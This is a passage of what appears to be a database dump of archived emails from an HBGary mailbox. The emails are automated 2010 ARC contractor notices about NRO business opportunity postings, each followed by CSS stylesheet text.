appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',9175,'aaron_hbgary_com/9175.html'),(11008,'2010-08-30','arc@westfields.net','/aaron@hbgary.com/new/1297008444.M725344P14101Q5864.eml','federal@hbgary.com','MOD Competitive Business Opportunity Posting','\r\nThe NRO/MOD Directorate is pleased to announce the release of a Competitive Business Opportunity on the classified ARC.  It will remain visible for ten calendar days. The Contract Type is expected to be: CPAF/LOE. The Effort Type is Support Services (O&M).\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Competitive Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',1765,'aaron_hbgary_com/1765.html'),(11009,'2010-08-30','arc@westfields.net','/aaron@hbgary.com/new/1297008444.M90430P14101Q5861.eml','federal@hbgary.com','COMM / Roubaix Announcement Posting','\r\nAn announcement has been posted on the NRO/COMM-Roubaix effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Roubaix from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',4525,'aaron_hbgary_com/4525.html'),(11010,'2010-08-30','arc@westfields.net','/aaron@hbgary.com/new/1297008444.M935400P14101Q5865.eml','federal@hbgary.com','MSD Forecast Business Opportunity Posting','\r\nThe NRO/MSD Directorate is pleased to announce the release of a Forecast Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: TBD. The Effort Type is SETA.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Forecast Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; 